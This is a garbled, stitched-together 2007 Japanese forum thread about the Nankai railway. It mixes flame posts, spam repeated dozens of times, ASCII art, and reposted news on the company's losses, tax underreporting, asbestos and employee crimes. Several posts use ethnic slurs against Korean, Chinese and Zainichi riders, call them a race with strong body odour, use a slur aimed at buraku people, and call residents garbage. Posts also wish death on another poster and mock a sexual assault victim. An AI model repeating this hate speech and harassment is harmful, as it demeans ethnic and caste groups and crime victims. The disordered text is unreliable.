ってるぞオマエ等人種的に体臭きつい民族なんだからもっと自分の匂いを敏感に意識しろよDQN仲間だけで一生終わるのならともかく観光客の金をあてにして生きていくなら体臭きついのは致命的欠陥だぞ毎日石鹸タップリつけ
てゴシゴシ洗ってから外出してくれな

引っ越し厨、いい加減にしろ！引っ越し返しだ。281：名無しでGO!：2007/02/04(日)22:41:26ID:k7yrAg280つか、南海沿線の人ってボディーシャンプーや石鹸で体を洗うのが週に1回とか2週に1回だって知ってた？普段はお湯を
かけるだけなんだってさ。マジびっくりした。正面きって向き合うのは正直苦痛だなんで南海沿線の人って仏壇臭いの？お線香かな？電車の中はいつもすごい悪臭がするし南海沿線民って臭いに鈍感なのかな？南海沿線に来てか
らマスクが手放せないよ利用者の大半は、韓国人・中国人・在日。特亜DQNの３巨頭の揃い踏み。それだけでも痛いのに、b民が加わる。朝の出発ラッシュ時は、無秩序なカオス状態！しょうがないじゃん。実際に臭いんだから。
だからどうしろって言うんだ？まともな人間はこの土地を離れていく。残るのはＤＱＮと年寄りだけ。年寄りはその存在が悪臭を放ってるし若いＤＱＮはぺっぺっと道に唾を吐く。それがカッコいいと思われてる土地柄だからそ
こらじゅう唾だらけで街が臭いんだよ。臭いなんて他人の事を言える柄かオマエ等ものすごく腋の下が匂ってるぞオマエ等人種的に体臭きつい民族なんだからもっと自分の匂いを敏感に意識しろよDQN仲間だけで一生終わるのな
らともかく観光客の金をあてにして生きていくなら体臭きついのは致命的欠陥だぞ毎日石鹸タップリつけてゴシゴシ洗ってから外出してくれな引っ越し返しだ。278：名無しでGO!：2007/02/04(日)18:39:24ID:gtYRur6t0「えー、
南海ヲタと一緒に帰って友達に噂されるとはずかしいし」279：名無しでGO!：2007/02/04(日)21:21:26ID:k7yrAg280/ヽ/ヽ/ヽ/ヽ/ヽ＿＿/ヽ／＼/／＼｜|●●||.U（__人__）U|南海倒産・・・・・。ヽ/／＼/￣￣ヽ/￣ヽヽ＿＿
＿＿＿＿＿／＼＿＿/自分にとって邪魔なものはなんでも排除したがるのが南海ヲタの特徴。田畑を踏み荒らし、勝手に草を刈り、枝を切り、罵声を飛ばす。飲み食いしたゴミは置き去り。タバコはポイ捨て。まさに人間のクズ
の集合体だな。┌─────────────────────────┐│南海ヲタの人生のシャットダウン区|│├─────────────────────────┤│直>実行する操作を選んでください(W)││┌─

───────────────┐│││シャットダウン|V|│││├────────────────┤│││ログオフ＿││││シャットダウン|＼││││再起動＼││││スタンバイ││││休止状態│││└────
────────────┘││┌───┐┌───┐┌────┐│││OK││ｷｬﾝｾﾙ││ﾍﾙﾌﾟ(H)│││└───┘└───┘└────┘│└─────────────────────────┘ここの住民はほとんど
が負け組底辺南海沿線愚民どもの集まる糞スレ280：名無しでGO!：2007/02/04(日)21:48:19ID:k7yrAg280はいはい、迷惑がかかるとか偉そうなこと言ってるけど、南海ヲタの存在が何よりの迷惑だと言うことに気づけよ、南海ヲ
タ安心しろ最低の路線は南海線だ。路線や車両は普通だが乗客はDQNばっか。まあ南海沿線は日本でも下から数えたほうが早いほど低＿民＿度だというのが事実だがなwwwモラルの低い人間が南海沿線に多いってことを少しは自覚
しているのかな？まあそうだろうな！南海沿線は日本一のＤＱＮ路線だからな！！再々引っ越し返し。277：名無しでGO!：2007/02/04(日)17:43:43ID:WvvOjstU01000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産
1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000
なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら
赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字
南海倒産1000なら赤字南海倒産1000なら>15>50ああ見えてもﾁｿｶｽはツンデレなんだよ。「べっ、別に南海のことが嫌いじゃないんだからね！たっ、ただ赤字が続いたりぼろい車両走らせてたら当にお客さんに見放されるんだから

！本当に倒産されたら迷惑なだけよ！」次回南海都市伝説絵巻第51話8200に触れた男はいずこへ乞うご期待負け組の貧民御用達電車糞スレ決定引っ越し返し266：名無しでGO!：2007/02/03(土)18:31:18ID:F9uE45aN0い街（関西）
トップ報復されたくなければ、「南海と関空 ５」スレttp://hobby9.2ch.net/test/read.cgi/train/1163947570/l50に対する引っ越し荒らし行為をやめるんだな再々引っ越し返し273：名無しでGO!：2007/02/04(日)17:41:06ID:W
vvOjstU0引っ越し荒らしが来たので、再度引っ越し返し272：名無しでGO!：2007/02/04(日)16:14:34ID:WvvOjstU0上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求め
る要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャ
ンスと期待している」。ttp: //www.sankei.co.jp/news/060419/evening/20iti001.htm★★★★★★★★★★★★★★★★南海電鉄、単体209.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間単体、0

5年9月当期赤字転落209.45億円、06年3月見通142億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月 (2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月
期見通05年3月期実績売上高（百万円）35,61851,77570,200100,025(-31.2%)営業利益（百万円）6,7908,914(- 23.8%)経常利益（百万円）3,4903,4383,0005,988(+1.5%)当期利益（百万円） △20,9454,963△14,2005,490１株利益
（円）△39.909.45△27.0510.45発行済株式総数(千株） 524,859525,266１株配当（円）0.000.00--4.00ttp: //today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS& storyid=64783+15-Nov-2005+RTRS★
★★★★★★★★★★★★★★★南海電鉄、連結192.45億円の赤字転落 ★★★★★★★★★★★★★★★★南海電<9044.OS>：中間連結、05 年9月当期赤字転落192.45億円、06年3月見通110億円の赤字2005年11月15日火曜日14:2
3JST［東京１５日ロイター］2005年9 月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）91,09099,560192,000196,210(-8.5%)営業利益（
百万円）12,71今後も引っ越し厨による「南海と関空５」スレttp://hobby9.2ch.net/test/read.cgi/train/1163947570/l50に対する引っ越し荒らし行為が続く限り、報復として引っ越し返しを行うので、そのつもりで。引っ越し
荒らしが

◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪
府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html,,―- 、＿／''-,,／''-,,／ヽi／／ヽ!,i.／／''―､!i,､nて'
'ノノヾ!iﾉﾉノﾉノ''´!/�Uj'´ﾉ(ヽ|>-,,/,,=━━・!',ﾉ━＝=!ﾉ!・ヽ|’ﾆﾝniii､:::::i/ｨ7iii=i)＼（てiiヽ^'~-'/｝｀i_､＼i_l_j｀┐i／(,,,,n〉/＼＼南海赤字っていうレベルじゃねーぞ！！！￣￣へ!'T''l|＼｜!iン=ｪｪi)iｿ)
|i´＼!,,-ｪ｀､＿ﾝﾉノ〈||＼＼,,｀―''´／/||つ!､＿'''''''''''''/7

和歌山県の南海電鉄、早く廃止になってほしい。

南海って赤字なら鉄道運賃値上げしないの？

>239未だにオンボロの片開き扉車が主力の情けない南海（藁未だにオンボロの片開き扉車が主力の情けない南海未だにオンボロの片開き扉車が主力の情けない南海（藁未だにオンボロの片開き扉車が主力の情けない南海未だにオ
ンボロの片開き扉車が主力の情けない南海（藁未だにオンボロの片開き扉車が主力の情けない南海未だにオンボロの片開き扉車が主力の情けない南海（藁未だにオンボロの片開き扉車が主力の情けない南海未だにオンボロの片開
き扉車が主力の情けない南海（藁未だにオンボロの片開き扉車が主力の情けない南海未だにオンボロの片開き扉車が主力の情けない南海（藁未だにオンボロの片開き扉車が主力の情けない南海未だにオンボロの片開き扉車が主力
の情けない南海（藁未だにオンボロの片開き扉車が主力の情けない南海未だにオンボロの片開き扉車が主力の情けない南海（藁未だにオンボロの片開き扉車が主力の情けない南海未だにオンボロの片開き扉車が主力の情けない南
海（藁未だにオンボロの片開き扉車が主力の情けない南海未だにオンボロの片開き扉車が主力の情けない南海（藁未だにオンボロの片開き扉車が主力の情けない南海未だにオンボロの片開き扉車が主力の情けない南海（藁未だに
オンボロの片開き扉車が主力の情けない南海未だにオンボロの片開き扉車が主力の情けない南海（藁未だにオンボロの片開き扉車が主力の情けない南海未だにオンボロの片開き扉車が主力の情けない南海（藁未だにオンボロの片
開き扉車が主力の情けない南海未だにオンボロの片開き扉車が主力の情けない南海（藁未だにオンボロの片開き扉車が主力の情けない南海未だにオンボロの片開き扉車が主力の情けない南海（藁未だにオンボロの片開き扉車が主
力の情けない南海未だにオンボロの片開き扉車が主力の情けない南海（藁未だにオンボロの片開き扉車が主力の情けない南海未だにオンボロの片開き扉車が主力の情けない南海（藁未だにオンボロの片開き扉車が主力の情けない
南海未だにオンボロの片開き扉車が主力の情けない南海（藁未だにオンボロの片開き扉車が主力の情けない南海未だにオンボロの片開き扉車が主力の情けない南海（藁未だにオンボロの片開き扉車が主力の情けない南海

無題名前：名無しさん [2007-02-04 20:16:44] ()No.328300

だって南海だもん

flets-a-west-20-211.dsn.jp

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　　　　　　　　l　　　　　　　　/　　　/　　　　　　　　　 /　,/／　毎週毎週土日ですら遊びにも行かず、
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　　　　　/￣￣￣''' ‐ ,_ ／丶 　　____　　　　　　　　./　/ 　　　　ていうか、誰からも誘われず、誘える友人もおらず、
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　 　/　　　　　　　　　 '-,/　 .l　＼　 '￣　　　,／　/ │　''、、　　　　　ただ南海スレで引っ越し活動して無意味に一日が終わる
　 ./　　　　　　　　　　　 /　　l　丶ゝ,,,,,,,-‐''　　／　 │　　'l "'-、
　/　　　　　　　　　　.∩/　　 .l　　/─、　,─／　　 │　　　'l　　"'-、 　　　　　引っ越し厨はむしろ自分のために死んでしまえばいいのに
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ゝ,,,,,,,-‐''／│'l"'-、/.∩/.l/─、,─／│'l"'-、引っ越し厨は早く死ねばいいのに../∩/.l/Ｃll-l＼│'l"'-、//ﾚ'ヽ┌──┐ｿ＼│'l"'-、

朝の春木始発準急は、春木を出発時点はガラガラ？

/.__、／丿ヽ/,／.／／_,_＿'iiii'l//./／／_-''’___,,ノ、7'l.ﾚ.l/./／,,-'''''ll.l,l/,/´,'_!-‐'''''''''''')./l../li...llr/.lﾞ'''’_,,,-‐/￣.l/.l./li.ll.l.!々'Vヽー--l/'‐、l/li/lll/''''ヽ'..,,,_＿_、ｌ/./
ﾉ'l/ｌ'l./!''/'/',/）ﾉl///,/／毎週毎週土日ですら遊びにも行かず、/丿亅.//r'/￣￣￣'''‐,_／丶____.//ていうか、誰からも誘われず、誘える友人もおらず、/￣￣￣￣'''‐,_＼..l＼”-ニ⊃／/r'＼/'-,/.l＼'￣,／/│''
、、ただ南海スレで引っ越し活動して無意味に一日が終わる.//l丶ゝ,,,,,,,-‐''／│'l"'-、/.∩/.l/─、,─／│'l"'-、引っ越し厨はむしろ自分のために死んでしまえばいいのに../∩/.l/Ｃll-l＼│'l"'-、//ﾚ'ヽ┌──┐ｿ
＼│'l"'-、

南海7000系＜＜＜＜＜＜＜＜＜＜＜＜＜103系

南海7000系＜＜＜＜＜＜＜＜＜＜＜＜＜103系＜＜＜＜＜＜＜＜＜＜＜＜＜泉北7000系

次回南海都市伝説絵巻第52話新車に乾杯迫る8200の陰

300

引っ越し厨が、珍作以上に嫌われてる件について次回南海都市伝説絵巻第56話港にシーユーグッバイドッパイ乞うご期待＿＿＿＿ゝ／＿＿＿＿＼＿＿＿＿_/|/─､−､!´-､−､＼!___|─|‘|＜|.／・|・＼|−､ヽ（`−o−|`-●−′
＼iのび太君実はﾈ入３ﾉ─|─i|/ヽ-､`┬┬ィ´二|二|!ｺﾞﾆｮｺﾞﾆｮ・・・|（／｀v二)|ヽ/￣￣￣＼|/ヽ_入＿ノ＼ヽ＿＿＿＿)//|───┤○━━６━◯━━ヽ|＿＿＿_|＼|/_＿＿__＼ヽ|||!ヽ＿＿ノ!||＿_||＿_|>､＿＿_ノﾉ-o__|＿_
||＿_|＿（＿＿_.ﾍ＿＿＿/（＿＿ﾉヽ＿＿)（＿＿＿（＿＿＿）ゑ〜〜〜！！！南海倒産しちゃったの〜〜Σ（ﾟдﾟlll）ｶﾞｰﾝ＿＿＿＿＿＿＿＿＿＿＿_＿＿＿＿＿＿＿＿＿＿＿＿＿＿/＿＿＿＿＿＿＿ヽ|／＼||,─_ヽ/_─、||||_|/
o|oヽ|_||─（＾||j／|＼|j|＾）─（⌒`─ﾍ─´⌒）＼＿／￣￣＼＿／＼,───､／||||||／＼、||||.||||/ヽ||_|_|__(⌒v⌒)_.|_|_||..i.−､−、i||ヽ､__￣￣￣＿ノ|＃|＋|＋|♯−、|／▽▽＼!/`−●−′＼j||||＼＾＼≡|
≡／⌒/|人生の裏街道路線をひた走る南海電車で、東証一部上場はいつすんのさ？できもしないことを言いっ放しのダメダメ会社やねw>432＞社員が車内をパトロールしているが、犯行を目撃した乗客はいないという。そりゃそ
うだろ。>17見りゃ当然。＞女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。こんな低民度の車内なんだからなwwwwwwwwww
次回南海都市伝説絵巻第57話新駅に何かがおこる！！乞うご期待フハハハハハ！！南海沿線の人はゴミのようだ！！！…じゃなくてゴミそのものだ！！！次回南海都市伝説絵巻第58話全ての車両がHID化南海電気代延滞で倒産乞
うご期待次回南海都市伝説絵巻中松江東松江が西松江に統合乞うご期待悪名高き南海線だからしょうがないよwwwww俺の彼女が南海沿線に住んでるなんて恥ずかしくて誰にも言えねえ〜

南海本線と高野線は痴漢の巣窟

【←沢ノ町】南海電気鉄道ｽﾚｯﾄﾞNa95【⇒浅香山】キーワード【赤字倒産南海電鉄痴漢南海オンボロ借入金】

で、結局泉佐野はどうなるんだ？ホーム増えるのか？次回、南海都市伝説絵巻第59話千代田に眠る知られざる車両の正体とは乞うご期待

●南海沿線がイメージ最悪なのはなぜ？●79名前：名無しの歩き方投稿日：02/04/0814:49ID:???南海沿線にはすみたくねぇーな貧乏人の集まりだろ、阪急沿線に住めなかった80名前：名無しの歩き方投稿日：02/04/0815:06ID:?
??>>貧乏人の集まりだろ、阪急沿線に住めなかった（地方人の）オイオイ、自分の同郷人を馬鹿にしてどうする（w81名前：名無しの歩き方投稿日：02/04/0815:12ID:???ある主婦の声「子供の環境を重視するとやっぱり阪急沿線
だわ」南海はいつ運賃値上げするの？>721＞あと、液晶フェチには残念なことにE231系のような液晶ディスプレーはなし。いい事だ。４人分×２（行き帰りなので）＝８枚の難波−関西空港間の切符（土日用）を、難波の金券シ
ョップで何と660円でＧＥＴ！何と（890円−660円）×8＝1840円もお得！そして、金券ショップ利用のせいで切符を買ってもらえなかった南海は、890円×8＝7120円もの現金を受け取る機会を失った。南海ざまあみろ。おっと、
家から淀屋橋までの京阪の切符は、普段から利用する京阪なんで、直接回数券を買ってちゃんと京阪に現金を落としてあげます。俺、性格いいから。あと、淀屋橋から難波までの地下鉄の切符は、金券ショップで売ってないから
正規の運賃を現金で大阪市に払ってあげます。こういった客側のコツコツした努力の積み重ねで、今年も南海は鉄道部門で減収間違いないな。ま、京阪・阪急・阪神と違って、高い運賃取取っても客は逃げようがないということ
で、経営努力も何もせずに殿様商売してるからこういう目に遭うわけ。南海は自業自得。

>745残念でした。既に市場に出回ってる切符を利用するので、８人分の需要の掘り起こしがあったにもかかわらず、南海には需要に対する供給をしても、見返りとなる運賃収入7120円は一切入りません。

長年住みたくない沿線ぶっちぎり１位の南海沿線住所書いて相手に見せるとき、死ぬほど恥ずかしいです南海沿線に住むのは罰ゲームみたいやのう。誰だって南海沿線なんか嫌だよね。恥ずかしいもん。日本一ダサい沿線、南海
沿線日本一住みたくない沿線、南海沿線日本一笑われる沿線、南海沿線日本一恥ずかしい沿線、南海沿線なんつーか・・・。南海バス(三大ドル箱)＞水間＞阪堺＞南海・泉北、だな。

子会社の阪堺ですら幕やめてLED導入してるというのに、未だに新車でも行き先表示に幕しか入れられない子会社よりも技術力で劣る南海が情けないよ・・・。

未だに大手私鉄の新車で唯一LED幕導入してない情けない南海

>778だが、それがいい。車内液晶やLED行き先表示機等、新味あるものにとらわれない、古臭さがモットーな南海が俺は好きなんだよ

47都道府県別満足度ランキング（住み続けたい）04位滋賀県22位兵庫県24位大阪府33位奈良県38位京都府47位和歌山県←地方中核都市満足度ランキング24位大阪府堺市←27位和歌山県和歌山市←都市人口規模別満足度ランキング
【人口50万人以上100万人未満地域】16位：大阪府堺市←【人口30万人以上50万人未満地域】4位：奈良県奈良市6位：大阪府枚方市13位：大阪府豊中市14位：大阪府吹田市20位：兵庫県西宮市22位：兵庫県尼崎市34位：大阪府高
槻市37位：大阪府東大阪市48位：兵庫県姫路市49位：和歌山県和歌山市←ttp://www.word.co.jp/pdf/rep_localgov.pdfこれは酷い・・・。根拠となるソースは？www

>780ああ見えてもﾁｿｶｽはツンデレなんだよ。「べっ、別に南海のことが嫌いじゃないんだからね！たっ、ただ赤字が続いたりぼろい車両走らせてたら本当にお客さんに見放されるんだから！本当に倒産されたら迷惑なだけよ！」

次回南海都市伝説絵巻第60話音楽がほしい車両は？乞うご期待

かなりの割合の南海ヲタが道徳心に欠ける行為を平然としている・ゴミのポイ捨て・吸殻のポイ捨て・不正乗車・マナーとルール無視・タン吐き・唾吐き・ペット糞の放置・立ちションベン・泥酔の高歌放吟

正規の運賃を現金で大阪市に払ってあげます。こういった客側のコツコツした努力の積み重ねで、今年も南海は鉄道部門で減収間違いないな。ま、京阪・阪急・阪神と違って、高い運賃取取っても客は逃げようがないということ

>749南海ヲタは計算もできないアホばっかだな。鉄道会社の運賃収入の増減は、定期外の普通切符を買う客に大きく左右される。回数券（特に土日や昼間割引）を買われると、割引がある分それだけ儲けは少なくなる。さらに、
金券ショップに客が流れると、回数券を見ず知らずの複数人で共同購入されるのと全く同じことなので、回数券を有効利用され、鉄道会社にとっては減収の痛手を負う。>752＞新幹線や飛行機の切符があれだけ売られてるわけだ
から＞ＪＲや航空会社なんて相当な「現金収受の機会」を逃しているんだね。何を今さら当たり前のことを、知らんかったような口ぶりで。みどりの窓口や自社の券売機で買ってもらえなくなり、以前と比べて特に航空会社はど
れだけ痛手を食らってることか。金券ショップにチケットが並ばなかったかつては、余分なチケットは期限切れで捨てられるか、払い戻しで手数料を稼げた上、再度自分とこの窓口でチケットを販売して相当な荒稼ぎができたが
、今はそれが自社の手の届かない市場内で行われてしまい、どれだけ損をしていることか。金券ショップをどんどん利用して、打倒南海に頑張れ

>849お前の脳内南海は、乗客数の伸びが年々右肩上がりなのか？少子化・まもなく始まる団塊の世代退職ラッシュの中、こういった細かい部分の取りこぼしが日々ボディーブローとしてじわじわ効いてくる。特に、一回きりの客
でも金券ショップのおかげで正規運賃を支払わずに回数券（土日に至っては格安券）に手を出せるわけだ。しかも大阪のおばはんは金券ショップが大好き。経営へのダメージは大きい。

>851＞・売り手(南海からの買い手)不足＞・品薄による値上がり＞で買い求められなくなり結果的に自爆する。そこで次に登場するのが、金券ショップで売られているスルッとKANSAIカード。難波周辺の金券ショップでは、その
ほとんどが圧倒的な発行枚数を誇るレインボーカード。つまり、金券ショップで切符を買えなかった人がレインボーカードで南海に乗ると、南海は後日大阪市交通局に運賃の数パーセント分を引かれた金額しか請求できない。

ここで南海の大きな問題は、高いボッタ運賃のために、往復で1,000円を超えることも珍しくない点。阪急阪神ＨＤなど良心的な運賃の会社線であれば、1,000円のスルッとKANSAIカードのうちごく一部しか消化できないため、残
額を残してしまうことに抵抗を感じる人もいるだろうが、往復で１枚を十分消化できる南海であれば、金券ショップで切符が切れていた場合（まずないだろうが）、レインボーカードを買って使われる確率はきわめて高い>848ア
ンタのハナシが正しいならやっぱ南海の活路は定期外収入が見込める関空にかかってるんだよな>855自社のカードを新たに買って使ってもらう、あるいは券売機で切符を買ってもらう場合よりも、減収要因になる。大阪人は、金
券ショップで10円でも安くなれば必ず飛びつくからな。>857だが、残念ながら伊丹空港は廃港されない。なぜなら便利で需要が高いから。ただそれだけ。

>859だが減便されてアンタが望む再国際化は９９％あり得ない。それが伊丹の宿命さ

そこに7000が産声をあげた「ワンドア」ってな俺が立てるよタイトルだけ頼む分からんから本文ら変えへんしよ950以上で立てるんだろ？何だおまえらwww7000ファンか立ててから文句言ってもらいたいねそれなら分かるが。立て
ようかと提案をしたのに何だかなー誰がいつしらばっくれたwww妄想も対外にしてくれよつーか950まで埋めたら早い話ではwwmインポ野郎ども

age

HOSHU

sage

ttp://hobby9.2ch.net/test/read.cgi/rail/1171292303/l50遅せぇぞコピペ厨、なにやってんだよ。おはよん次回南海都市伝説絵巻第62話新たなる伝説の始まり食物連鎖の恐怖乞うご期待関空とリンクウの駅をもう少し新しくし
たほうがいいんじゃないか？関空で223と旧塗装が並んだ時は泣いた。てか、関空のあのエコーの効いたアナウンスや英語のアナウンスいいね。jrは車掌も英語でゆうが南海は外人のったら日本語やからわかりにくいんじゃない
かな？弱小私鉄の一つ、大阪は小便臭い難波とガラの悪い泉州・田舎臭い和歌山・観光客激減の高野山・JRに完敗の関空を結ぶ日本最低の私鉄南海電気鉄道の本線・高野線(ウォッチ以外)・高師浜線・多奈川線・加太線・和歌山
港線・過去の廃線区間について語りましょう。なお、このスレは鉄道路線・車両板掲載の板のため、南海関係でもスレ違いの話が発生します。スレ違い・板違いにならないように、重々お気をつけない。荒らしは歓迎。煽り推奨
！聞き分けのある珍作さんは出てきても(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。どうせ珍作さんはコピペばかりで似たような事しか言いません。(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。他スレから
変なものをコピペしてきたり、既出のものを何度も挙げるのも歓迎。何度もやってる珍作さんは(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。ガイドラインを守りたくない人は新規にスレを立てない。立てたら荒らす。
なお、分かって荒らしている珍作さんは(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。流行語３語と成分分析の使いすぎには注意しない。「使い方を間違えてる人」は(・∀・)ニヤニヤ笑いながら出来たら相手しましょ
う。主なガイドライン(お約束)・各種リンク、過去ログ、既出質問やくだらないネタは「まとめサイト」に掲載しています。わざわざスレッドに貼り付けるの絶対歓迎。◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円
（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却

費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供用開始前に減価償却費とし
て約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却
費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html◆◇◆◇◆減損処理で当期
赤字に南海電鉄決算◆◇◆◇◆2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で
発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html南海電鉄アスベストむき出し南海電鉄によりますと、あわせて１３の駅で天井のはりなど
にアスベストが使われており、中でも大阪市内と堺市内の６つの駅ではアスベストを吹きつけた部分が密閉されず、一部がむき出しになっていて、薬品などで固定する措置も取られていないということです。このうち、１つの駅
では、近く予定されている改築に合わせてアスベストを撤去しますが、ほかの５つの駅では撤去や密閉などの新たな措置は今のところ考えていないということです。これについて南海電鉄の総務部は、現状でもアスベストが飛び
散るおそれはないとしており、アスベストがむき出しになっている駅がどこかは明らかにしていません。一方、大阪の大手私鉄、京阪電鉄によりますと、４つの駅で建物にアスベストが吹き付けられており、このうち、大阪・枚
方市の村野駅の屋根の一部でアスベストがむき出しになっているということです。京阪電鉄でも、アスベストが飛散する心配はほとんどないとしていますが、近く、撤去することにしています。このほか、近鉄でも５つの駅でア

スベストが吹き付けられていますが、飛散しないように固定する措置を取っているため、健康上の心配はないとしています。ttp://www3.nhk.or.jp/news/2005/08/02/d20050802000028.html◆◆◆「うるさい」と子ら暴行容疑〜
高石南海電車内で〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけっ
た。男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本
崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。ソース：朝日新聞２月28日付朝刊35頁社会面◆◇◆◇◆運転士と車掌が女性監禁トイレで強
制わいせつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の
両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「
合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。２次会ではコンパニオン数人の時間を延長し
て接待を受けていた。両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容疑者は約４０分間、女性をトイレに監禁し、わいせつな行為に及んだという
。]同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女性が同署に被害届を提出した。南海電鉄は「あるまじき行為。全社員への教育を徹底する

」とコメント、両容疑者の処分を検討している。ttp://osaka.nikkansports.com/news/p-on-tp6-20060726-66186.html（１１月２９日の社会面ニュース）４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕----------------
----------------------------------------------------------------大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は２９日、いずれも同府岸和田市内に住む高
校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に連れ
込んでわいせつ行為を続けたという。少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触る
などした疑い。女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり
、トイレ外側で見張ったりして２人を助けた疑い。同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４
人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html■「世界遺産登録に“超高層”の影」2006/05/23放送（長文のため一部省略）この４月に関西で４番目、全国で１５番目
に政令市となった大阪府堺市が、再開発問題で頭を痛めています。超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。しかし去年９月、竹川
さんの耳に信じられないニュースが飛び込んできました。なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。建設予定地は以前

南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に指定されました。そこに南海電鉄は、超
高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。（超高層マンションは）違和感のない景
観だと思っています」＜続く＞しかしこの計画地、反正陵からわずか１２０メートル。完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合い
は平行線のままです。地元で反対運動を進める吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に
